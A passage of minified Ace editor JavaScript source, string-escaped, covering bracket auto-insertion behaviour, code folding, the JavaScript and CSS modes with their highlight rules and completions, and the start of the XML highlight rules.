d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\"